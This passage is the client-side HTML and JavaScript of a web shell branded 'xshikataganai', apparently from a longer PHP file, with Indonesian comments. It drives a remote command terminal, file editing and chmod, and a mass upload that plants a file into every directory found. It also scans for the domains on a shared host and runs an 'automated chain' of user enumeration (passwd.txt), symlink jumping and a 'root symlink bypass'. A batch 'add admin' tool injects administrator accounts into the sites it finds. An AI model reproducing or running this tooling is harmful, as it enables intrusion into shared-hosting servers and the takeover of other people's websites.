1563 <div id="admin-result-body" class="p-3 bg-dark border border-secondary rounded" style="max-height: 50vh; overflow-y: auto; font-family: 'JetBrains Mono', monospace; font-size: 0.8rem;">
1564 <div class="text-center text-secondary py-5 opacity-50">
1565 <i class="fas fa-robot fa-3x mb-3"></i><br>Results will appear here...
1566 </div>
1567 </div>
1568 </div>
1569 </div>
1570 </div>
1571</div>
1572
1573<div class="cyber-footer">
1574 <span>made with <i class="fas fa-heart"></i> <span class="cy-brand">xshikataganai</span></span>
1575 <span>STATUS: <span style="color:#81c995">ACTIVE</span></span>
1576</div>
1577
1578<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
1579<script>
1580 let currentPath = '', currentFile = '', renameTarget = '';
1581 var editor = null;
1582 const editModal = new bootstrap.Modal(document.getElementById('editModal')),
1583 toolsModal = new bootstrap.Modal(document.getElementById('toolsModal')),
1584 massUploadModal = new bootstrap.Modal(document.getElementById('massUploadModal')),
1585 newFileModal = new bootstrap.Modal(document.getElementById('newFileModal')),
1586 renameModal = new bootstrap.Modal(document.getElementById('renameModal')),
1587 scanResultModal = new bootstrap.Modal(document.getElementById('scanResultModal')); // NEW MODAL INSTANCE
1588
1589 function updatePanelStyles() {
1590 const term = document.getElementById('terminal-panel').style.display !== 'none';
1591 const log = document.getElementById('process-panel').style.display !== 'none';
1592 const bar = document.getElementById('path-bar-el');
1593 if(term || log) bar.classList.add('has-panel-above'); else bar.classList.remove('has-panel-above');
1594 }
1595 function showLog() { toolsModal.hide(); document.getElementById('process-panel').style.display = 'block'; updatePanelStyles(); }
1596 function closeLog() { document.getElementById('process-panel').style.display = 'none'; document.getElementById('global-log').innerHTML = ''; updatePanelStyles(); }
1597 function toggleTerm() { const p = document.getElementById('terminal-panel'); p.style.display = (p.style.display === 'none') ? 'block' : 'none'; updatePanelStyles(); if(p.style.display === 'block') setTimeout(() => document.getElementById('term-cmd-inline').focus(), 50); }
1598
1599 function showToast(msg, type = 'success') {
1600 const container = document.getElementById('toast-container');
1601 const div = document.createElement('div');
1602 div.className = `toast-msg ${type}`;
1603 div.innerHTML = (type === 'success' ? '<i class="fas fa-check-circle me-2 text-success"></i>' : '<i class="fas fa-times-circle me-2 text-danger"></i>') + msg;
1604 container.appendChild(div);
1605 setTimeout(() => { div.classList.add('hiding'); setTimeout(() => div.remove(), 300); }, 3000);
1606 }
1607
1608 async function api(action, path, method='GET', extraHeaders={}, body=null, signal=null) {
1609 let headers = { 'X-Action': action, 'X-Path': btoa(path), ...extraHeaders };
1610 return fetch(window.location.href, { method, headers, body, signal });
1611 }
1612
1613 function goHome() { currentPath = '__HOME__'; loadDir('__HOME__'); }
1614
1615 function getFileIcon(name) {
1616 let ext = name.split('.').pop().toLowerCase();
1617 if(ext === name) return '<i class="fas fa-file icon-file i-def"></i>';
1618 switch(ext) {
1619 case 'php': return '<i class="fab fa-php icon-file i-php"></i>';
1620 case 'html': case 'htm': return '<i class="fab fa-html5 icon-file i-html"></i>';
1621 case 'css': return '<i class="fab fa-css3-alt icon-file i-css"></i>';
1622 case 'js': case 'json': return '<i class="fab fa-js icon-file i-js"></i>';
1623 case 'zip': case 'rar': case 'tar': case 'gz': case '7z': return '<i class="fas fa-file-archive icon-file i-zip"></i>';
1624 case 'jpg': case 'jpeg': case 'png': case 'gif': case 'svg': case 'ico': return '<i class="fas fa-file-image icon-file i-img"></i>';
1625 case 'txt': case 'log': case 'ini': case 'conf': case 'htaccess': return '<i class="fas fa-file-alt icon-file i-code"></i>';
1626 default: return '<i class="fas fa-file icon-file i-def"></i>';
1627 }
1628 }
1629
1630 function loadDir(path) {
1631 let target = currentPath;
1632 if (path === '__HOME__') target = '__HOME__';
1633 else if (path === '..') {
1634 if (target && target !== '/' && target.includes('/')) { target = target.substring(0, target.lastIndexOf('/')); if(target === '') target = '/'; } else { target = '/'; }
1635 } else if (path !== '') { target = (target === '/') ? '/' + path : target + '/' + path; }
1636 if(path === '' && !currentPath) target = '';
1637
1638 api('list', target).then(r => r.json()).then(res => {
1639 currentPath = res.path;
1640 document.getElementById('path-txt').innerText = res.path;
1641 document.getElementById('tool-path-disp').innerText = res.path;
1642
1643 const tbody = document.getElementById('fileList'); tbody.innerHTML = '';
1644 if (!res.items.length) { tbody.innerHTML = '<tr><td colspan="5" class="text-center py-5 text-secondary fst-italic">Empty Directory</td></tr>'; return; }
1645 res.items.forEach(f => {
1646 let isDir = f.type === 'dir';
1647 let icon = isDir ? '<i class="fas fa-folder icon-dir"></i>' : getFileIcon(f.name);
1648 let click = isDir ? `loadDir('${f.name}')` : `openEditor('${f.name}')`;
1649 let pClass = f.write ? 'writable' : 'readonly';
1650 let textClass = isDir ? 'text-folder' : 'text-file';
1651 tbody.innerHTML += `<tr><td class="ps-2"><a onclick="${click}" class="${textClass} cursor-pointer d-flex align-items-center">${icon} ${f.name}</a></td><td class="d-mobile-none text-secondary"><small>${f.size}</small></td><td class="text-center"><span onclick="chmodItem('${f.name}', '${f.perm}')" class="badge-perm ${pClass} cursor-pointer">${f.perm}</span></td><td class="d-mobile-none text-secondary"><small>${f.date}</small></td><td class="text-end pe-4"><button class="action-btn edit me-1" onclick="openRename('${f.name}')" title="Rename"><i class="fas fa-pen"></i></button><button class="action-btn del" onclick="deleteItem('${f.name}')" title="Delete"><i class="fas fa-trash"></i></button></td></tr>`;
1652 });
1653 }).catch(() => showToast('Network Error', 'error'));
1654 }
1655
1656 function openEditor(name) {
1657 currentFile = (currentPath === '/') ? '/' + name : currentPath + '/' + name;
1658 api('read', currentFile).then(r => r.text()).then(txt => {
1659 document.getElementById('editFileName').innerHTML = `<i class="fas fa-code me-2 text-primary"></i> ${name}`;
1660 if(!editor) {
1661 editor = ace.edit("editor-container");
1662 editor.setTheme("ace/theme/monokai");
1663 editor.session.setMode("ace/mode/php");
1664 editor.setShowPrintMargin(false);
1665 editor.setFontSize(14);
1666 editor.setOptions({ fontFamily: "JetBrains Mono" });
1667 }
1668 let ext = name.split('.').pop().toLowerCase();
1669 if(ext === 'html') editor.session.setMode("ace/mode/html");
1670 else if(ext === 'css') editor.session.setMode("ace/mode/css");
1671 else if(ext === 'js') editor.session.setMode("ace/mode/javascript");
1672 else editor.session.setMode("ace/mode/php");
1673 editor.setValue(txt, -1); editModal.show();
1674 });
1675 }
1676
1677 function saveFile() {
1678 let content = editor.getValue();
1679 let encoded = btoa(unescape(encodeURIComponent(content)));
1680 api('save', currentFile, 'PUT', {'X-Encode': 'b64'}, encoded).then(r => r.text()).then(m => {
1681 showToast(m);
1682 editModal.hide();
1683 loadDir(''); // AUTO REFRESH
1684 });
1685 }
1686
1687 function showNewFileModal() {
1688 document.getElementById('new-filename').value = '';
1689 document.getElementById('new-content').value = '';
1690 newFileModal.show();
1691 }
1692
1693 function submitNewFile() {
1694 let name = document.getElementById('new-filename').value;
1695 let content = document.getElementById('new-content').value;
1696 if (name) {
1697 let path = (currentPath === '/') ? '/' + name : currentPath + '/' + name;
1698 let encoded = btoa(unescape(encodeURIComponent(content)));
1699 api('save', path, 'PUT', {'X-Encode': 'b64'}, encoded).then(r => r.text()).then(m => {
1700 showToast("Created: " + name);
1701 newFileModal.hide();
1702 loadDir(''); // AUTO REFRESH
1703 });
1704 }
1705 }
1706
1707 function uploadFile() {
1708 let input=document.getElementById('uploadInput');
1709 if(!input.files.length) { showToast("Select a file first", "error"); return; }
1710 let btn=document.getElementById('btnUpload'); let old=btn.innerHTML; btn.innerHTML='<i class="fas fa-spinner fa-spin"></i>';
1711 let file = input.files[0];
1712 let path=currentPath ? currentPath + '/' + file.name : file.name;
1713 if(currentPath === '/') path = '/' + file.name;
1714
1715 let reader = new FileReader();
1716 reader.onload = function(e) {
1717 let content = e.target.result.split(',')[1];
1718 api('upload', path, 'PUT', {'X-Encode': 'b64'}, content)
1719 .then(r => r.text())
1720 .then(m => {
1721 showToast(m);
1722 input.value='';
1723 btn.innerHTML=old;
1724 loadDir(''); // AUTO REFRESH
1725 })
1726 .catch(() => { showToast("Upload Failed", "error"); btn.innerHTML=old; });
1727 };
1728 reader.readAsDataURL(file);
1729 }
1730
1731 function deleteItem(name) {
1732 if(confirm(`Del ${name}?`)) {
1733 let path = (currentPath === '/') ? '/' + name : currentPath + '/' + name;
1734 api('delete', path, 'DELETE').then(() => {
1735 showToast("Deleted: " + name);
1736 loadDir(''); // AUTO REFRESH
1737 });
1738 }
1739 }
1740
1741 function openRename(name) {
1742 renameTarget = name;
1743 document.getElementById('rename-input').value = name;
1744 renameModal.show();
1745 }
1746
1747 function submitRename() {
1748 let newName = document.getElementById('rename-input').value;
1749 if (newName && newName !== renameTarget) {
1750 let path = (currentPath === '/') ? '/' + renameTarget : currentPath + '/' + renameTarget;
1751 api('rename', path, 'GET', {'X-Data': btoa(newName)}).then(r => {
1752 showToast(r.text());
1753 renameModal.hide();
1754 loadDir(''); // AUTO REFRESH
1755 });
1756 }
1757 }
1758
1759 function chmodItem(name, p) {
1760 let n=prompt("Chmod:", "0"+p);
1761 if(n) {
1762 let path = (currentPath === '/') ? '/' + name : currentPath + '/' + name;
1763 api('chmod', path, 'GET', {'X-Data': n}).then(() => {
1764 showToast("Chmod Updated");
1765 loadDir(''); // AUTO REFRESH
1766 });
1767 }
1768 }
1769
1770 function openTools() { toolsModal.show(); }
1771
1772 document.getElementById('term-cmd-inline').addEventListener('keypress', function (e) {
1773 if (e.key === 'Enter') {
1774 let cmd = this.value; if(!cmd) return;
1775 let outDiv = document.getElementById('term-output');
1776 outDiv.innerHTML += `<div><span style="color:#c586c0;">➜</span> <span style="color:#d4d4d4;">${cmd}</span></div>`;
1777 this.value = ''; outDiv.scrollTop = outDiv.scrollHeight;
1778
1779 api('cmd', currentPath, 'GET', { 'X-Cmd': btoa(cmd) }).then(r => r.text()).then(res => {
1780 outDiv.innerHTML += `<div style="color:#9cdcfe; margin-bottom:10px;">${res}</div>`;
1781 outDiv.scrollTop = outDiv.scrollHeight;
1782
1783 // FITUR BARU: Auto Refresh File Manager setelah command selesai
1784 loadDir('');
1785 });
1786 }
1787 });
1788
1789 function showMassUpload() { toolsModal.hide(); massUploadModal.show(); }
1790
1791 function startMassUpload() {
1792 let name = document.getElementById('mass-name').value;
1793 let content = document.getElementById('mass-content').value;
1794 let fileIn = document.getElementById('mass-file-in').files[0];
1795
1796 if (!name) { showToast('Filename required!', 'error'); return; }
1797
1798 massUploadModal.hide();
1799 document.getElementById('async-widget').style.display = 'block';
1800 updateWidget(0, 0, 'Preparing Payload...');
1801
1802 if (fileIn) {
1803 let reader = new FileReader();
1804 reader.onload = function(e) { initMassTask(name, e.target.result.split(',')[1]); };
1805 reader.readAsDataURL(fileIn);
1806 } else {
1807 initMassTask(name, btoa(unescape(encodeURIComponent(content))));
1808 }
1809 }
1810
1811 function initMassTask(filename, b64content) {
1812 updateWidget(0, 0, 'Scanning Directories... (Fast)');
1813 api('tool', currentPath, 'PUT', {'X-Tool':'mass_upload','X-Encode':'b64', 'X-Mass-Mode':'init'}, b64content).then(r => r.json()).then(res => {
1814 if(res.status === 'ready') {
1815 showToast(`Scan complete. Found ${res.total} folders.`);
1816 if(res.total === 0) { updateWidget(0, 0, 'No targets found.'); return; }
1817 processMassBatch(0, filename, res.total);
1818 } else {
1819 showToast('Init Failed', 'error');
1820 document.getElementById('async-widget').style.display = 'none';
1821 }
1822 });
1823 }
1824
1825 function processMassBatch(step, filename, total) {
1826 updateWidget(step, total, `Uploading batch ${step}...`);
1827 api('tool', currentPath, 'GET', {'X-Tool':'mass_upload', 'X-Step':step, 'X-Data':btoa(filename), 'X-Mass-Mode':'process'}).then(r => r.json()).then(res => {
1828 if (res.status === 'continue') {
1829 processMassBatch(res.next_step, filename, total);
1830 } else {
1831 updateWidget(total, total, 'DONE!');
1832 showToast('Mass Upload Completed!', 'success');
1833 document.getElementById('mass-name').value = '';
1834 document.getElementById('mass-content').value = '';
1835 document.getElementById('mass-file-in').value = '';
1836 setTimeout(() => { document.getElementById('async-widget').style.display = 'none'; }, 5000);
1837 }
1838 }).catch(e => {
1839 updateWidget(step, total, 'Error. Retrying...');
1840 setTimeout(() => processMassBatch(step, filename, total), 3000);
1841 });
1842 }
1843
1844 function updateWidget(done, total, status) {
1845 let pct = (total > 0) ? Math.round((done / total) * 100) : 0;
1846 document.getElementById('aw-prog').style.width = pct + '%';
1847 document.getElementById('aw-done').innerText = done;
1848 document.getElementById('aw-total').innerText = total;
1849 document.getElementById('aw-status').innerText = status;
1850 }
1851 function toggleWidget() { let b = document.getElementById('aw-content'); b.style.display = (b.style.display === 'none') ? 'block' : 'none'; }
1852
1853 function runTool(toolName) { showLog(); let log = document.getElementById('global-log'); log.innerHTML += `<div class="text-primary mb-2"><i class="fas fa-cog fa-spin me-2"></i>Running ${toolName}...</div>`; api('tool', currentPath, 'GET', {'X-Tool': toolName}).then(r => r.text()).then(res => { log.innerHTML += res; log.innerHTML += `<div class="text-success mt-2"><i class="fas fa-check me-2"></i>Done.</div><hr class="border-secondary">`; log.scrollTop = log.scrollHeight; }).catch(e => { log.innerHTML += `<div class="text-danger">Error: ${e}</div>`; }); }
1854
1855 // --- FITUR BARU: SCAN SITE GUI (V52: ICON CLICK EFFECT) ---
1856 let currentScanData = [];
1857 const googleSvg = '<svg width="16" height="16" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg"><path d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z" fill="#4285F4"/><path d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z" fill="#34A853"/><path d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z" fill="#FBBC05"/><path d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z" fill="#EA4335"/></svg>';
1858
1859 function openScanSite() {
1860 toolsModal.hide();
1861 const toast = document.createElement('div');
1862 toast.className = 'toast-msg';
1863 toast.innerHTML = '<i class="fas fa-satellite-dish fa-spin me-2 text-warning"></i> Scanning directories...';
1864 document.getElementById('toast-container').appendChild(toast);
1865
1866 api('tool', currentPath, 'GET', {'X-Tool': 'scan_site'}).then(r => r.json()).then(res => {
1867 toast.remove();
1868
1869 if (res.status === 'success') {
1870 currentScanData = res.data;
1871 document.getElementById('scan-count').innerText = res.count;
1872
1873 let html = '';
1874 if (res.count > 0) {
1875 html = '<div class="list-group list-group-flush">';
1876 res.data.forEach(domain => {
1877 html += `<div class="list-group-item bg-transparent border-bottom border-secondary text-light d-flex justify-content-between align-items-center py-2 px-0">
1878 <span class="font-monospace text-truncate me-2"><i class="fas fa-globe text-secondary me-2 small"></i>${domain}</span>
1879 <a href="https://www.google.com/search?q=site:${domain}" target="_blank" class="btn btn-sm btn-dark border-secondary text-secondary" title="Check Index" onclick="markAsChecked(this)">${googleSvg}</a>
1880 </div>`;
1881 });
1882 html += '</div>';
1883 } else {
1884 html = '<div class="text-center py-5 text-secondary"><i class="fas fa-search fa-3x mb-3 opacity-25"></i><br>No domains found here.</div>';
1885 }
1886
1887 document.getElementById('scan-result-body').innerHTML = html;
1888 scanResultModal.show();
1889 } else {
1890 showToast('Scan Failed', 'error');
1891 }
1892 });
1893 }
1894
1895 function markAsChecked(el) {
1896 // Find the parent row
1897 let row = el.closest('.list-group-item');
1898 // Find the globe icon inside that row
1899 let icon = row.querySelector('.fa-globe');
1900 // Turn it green
1901 if(icon) {
1902 icon.classList.remove('text-secondary');
1903 icon.classList.add('text-success');
1904 }
1905 }
1906
1907 function copyScanList() {
1908 if(currentScanData.length === 0) return;
1909 const text = currentScanData.join('\n');
1910 navigator.clipboard.writeText(text).then(() => {
1911 showToast('List Copied to Clipboard!');
1912 });
1913 }
1914
1915 function runWatchdogTool(toolName, step, mode = 'jumping') {
1916 let log = document.getElementById('global-log');
1917 if(step === 0) {
1918 showLog();
1919 if (!log.innerHTML.includes("STARTING AUTOMATED CHAIN")) {
1920 log.innerHTML = `<div class="text-warning mb-2"><i class="fas fa-running me-2"></i>Starting ${toolName} (${mode.toUpperCase()})...</div><hr class="border-secondary">`;
1921 } else {
1922 log.innerHTML += `<div class="text-warning mb-2"><i class="fas fa-running me-2"></i>Starting ${toolName} (${mode.toUpperCase()})...</div>`;
1923 }
1924 }
1925
1926 const controller = new AbortController();
1927 const timeoutId = setTimeout(() => {
1928 controller.abort();
1929 log.innerHTML += `<div class="text-warning">[!] Watchdog: Batch Timeout (20s) at #${step}. Skipping 5...</div>`;
1930 log.scrollTop = log.scrollHeight;
1931 runWatchdogTool(toolName, step+5, mode);
1932 }, 20000);
1933
1934 api('tool', currentPath, 'GET', {'X-Tool': toolName, 'X-Step': step, 'X-Mode': mode}, null, controller.signal)
1935 .then(r => r.json())
1936 .then(res => {
1937 clearTimeout(timeoutId);
1938 if(res.html) log.innerHTML += res.html;
1939 if(res.status === 'continue') {
1940 log.scrollTop = log.scrollHeight;
1941 setTimeout(() => runWatchdogTool(toolName, res.next_step, mode), 10);
1942 } else {
1943 log.innerHTML += `<hr class="border-secondary"><div class="text-success fw-bold"><i class="fas fa-flag-checkered me-2"></i>JOB FINISHED. Scanned ${res.total} files.</div>`;
1944 log.scrollTop = log.scrollHeight;
1945 }
1946 }).catch(err => {
1947 if(err.name === 'AbortError') return;
1948 log.innerHTML += `<div class="text-danger">[!] Net Err at #${step}. Skipping batch...</div>`;
1949 runWatchdogTool(toolName, step+5, mode);
1950 });
1951 }
1952
1953 async function startAutoChain() {
1954 toolsModal.hide();
1955 showLog();
1956 let log = document.getElementById('global-log');
1957
1958 const logMsg = (msg, color='text-info') => {
1959 log.innerHTML += `<div class="${color} mb-1">[CHAIN] ${msg}</div>`;
1960 log.scrollTop = log.scrollHeight;
1961 };
1962
1963 log.innerHTML = `<div class="text-danger fw-bold mb-3">--- STARTING AUTOMATED CHAIN ---</div>`;
1964
1965 try {
1966 // 1. USER ENUM
1967 logMsg("1. Running User Enum...", "text-warning");
1968 await api('tool', currentPath, 'GET', {'X-Tool': 'bypass_user'});
1969 logMsg("User Enum DONE. (passwd.txt saved)", "text-success");
1970 log.innerHTML += "<hr class='border-secondary'>";
1971
1972 // 2. JUMPER
1973 logMsg("2. Running Jumper Cage...", "text-warning");
1974 await api('tool', currentPath, 'GET', {'X-Tool': 'jumper_cage'});
1975 logMsg("Jumper DONE.", "text-success");
1976 log.innerHTML += "<hr class='border-secondary'>";
1977
1978 // 3. SYMLINKER
1979 logMsg("3. Running Symlinker...", "text-warning");
1980 await api('tool', currentPath, 'GET', {'X-Tool': 'symlink_cage'});
1981 logMsg("Symlinker DONE.", "text-success");
1982 log.innerHTML += "<hr class='border-secondary'>";
1983
1984 // 4. ROOT BYPASS
1985 logMsg("4. Running Root Symlink Bypass...", "text-warning");
1986 await api('tool', currentPath, 'GET', {'X-Tool': 'root_bypass'});
1987 logMsg("Root Bypass Executed. (Check folder 'symlinkbypass')", "text-success");
1988 log.innerHTML += "<hr class='border-secondary'>";
1989
1990 logMsg("Auto Chain Done. Use Toolkit for Add Admin.", "text-success");
1991
1992 } catch (e) {
1993 logMsg("CHAIN ERROR: " + e, "text-danger");
1994 }
1995 }
1996
1997 // --- LOGIKA BARU ADD ADMIN GUI ---
1998const addAdminModal = new bootstrap.Modal(document.getElementById('addAdminModal'));
1999
2000function openAddAdminUI() {
2001 toolsModal.hide(); // Tutup menu toolkit
2002 // Reset tampilan
2003 document.getElementById('admin-result-body').innerHTML = '<div class="text-center text-secondary py-5 opacity-50"><i class="fas fa-robot fa-3x mb-3"></i><br>Results will appear here...</div>';
2004 document.getElementById('admin-prog').style.width = '0%';
2005 document.getElementById('admin-processed').innerText = '0';
2006 document.getElementById('admin-total').innerText = '0';
2007 document.getElementById('admin-status-txt').innerText = 'Ready.';
2008 addAdminModal.show();
2009}
2010
2011function startAddAdminTask() {
2012 const mode = document.getElementById('admin-target-select').value;
2013 const resBody = document.getElementById('admin-result-body');
2014
2015 // Kunci tombol agar tidak dobel klik
2016 document.getElementById('admin-status-txt').innerHTML = '<span class="text-warning"><i class="fas fa-spinner fa-spin me-2"></i>Scanning...</span>';
2017 resBody.innerHTML = ''; // Bersihkan log awal
2018
2019 processAdminBatch(0, mode);
2020}
2021
2022// --- FUNGSI PROSES DENGAN WATCHDOG (ANTI-MACET) ---
2023function processAdminBatch(step, mode) {
2024 const limit = 5; // Sesuai dengan limit di PHP backend
2025 const timeoutSeconds = 15000; // 15 Detik batas waktu per batch
2026
2027 // 1. Setup Watchdog (Pengaman)
2028 const controller = new AbortController();
2029 const timeoutId = setTimeout(() => {
2030 controller.abort(); // Matikan paksa request jika macet
2031
2032 // Update UI info macet
2033 document.getElementById('admin-status-txt').innerHTML = `<span class="text-danger"><i class="fas fa-exclamation-triangle"></i> Timeout at #${step}. Skipping...</span>`;
2034
2035 // REKURSI PENTING: Lompati batch ini (step + limit) dan lanjut scan
2036 processAdminBatch(step + limit, mode);
2037 }, timeoutSeconds);
2038
2039 // 2. Request ke Backend
2040 // Perhatikan penambahan 'signal: controller.signal' untuk menghubungkan watchdog
2041 api('tool', currentPath, 'GET', {
2042 'X-Tool': 'add_admin',
2043 'X-Step': step,
2044 'X-Mode': mode
2045 }, null, controller.signal) // <--- SIGNAL WATCHDOG
2046 .then(r => r.json())
2047 .then(res => {
2048 clearTimeout(timeoutId); // Matikan timer jika sukses sebelum 15 detik
2049
2050 const resBody = document.getElementById('admin-result-body');
2051
2052 // Update Total
2053 if (res.total) document.getElementById('admin-total').innerText = res.total;
2054
2055 // Tampilkan HTML hasil injeksi
2056 if (res.html) {
2057 resBody.innerHTML += res.html;
2058 resBody.scrollTop = resBody.scrollHeight;
2059 }
2060
2061 // Update Progress Bar
2062 let currentPos = res.current || (step + limit);
2063 let pct = (res.total > 0) ? Math.round(currentPos / res.total * 100) : 0;
2064 if(pct > 100) pct = 100;
2065
2066 document.getElementById('admin-prog').style.width = pct + '%';
2067 document.getElementById('admin-processed').innerText = Math.min(currentPos, res.total || 0);
2068
2069 // Logika Lanjut atau Selesai
2070 if (res.status === 'continue') {
2071 document.getElementById('admin-status-txt').innerHTML = `<span class="text-info"><i class="fas fa-sync fa-spin"></i> Processing ${res.next_step}...</span>`;
2072 processAdminBatch(res.next_step, mode);
2073 } else {
2074 // SELESAI
2075 document.getElementById('admin-prog').style.width = '100%';
2076 document.getElementById('admin-status-txt').innerHTML = '<span class="text-success fw-bold"><i class="fas fa-check-circle me-2"></i>COMPLETED</span>';
2077 showToast('Add Admin Process Finished!', 'success');
2078 }
2079 })
2080 .catch(e => {
2081 // Handle Error (Termasuk Timeout)
2082 if (e.name === 'AbortError') {
2083 // Ini terjadi karena kita abort manual di setTimeout, biarkan fungsi timeout yang menangani skip
2084 return;
2085 }
2086
2087 // Jika error jaringan lain (bukan timeout), kita tetap skip agar tidak stop total
2088 clearTimeout(timeoutId);
2089 document.getElementById('admin-status-txt').innerHTML = `<span class="text-danger">Net Error at #${step}. Retrying next...</span>`;
2090
2091 // LOMPATI BATCH MACET
2092 setTimeout(() => {
2093 processAdminBatch(step + limit, mode);
2094 }, 1000);
2095 });
2096}
2097
2098 loadDir('');
2099</script>
2100</body>
2101</html>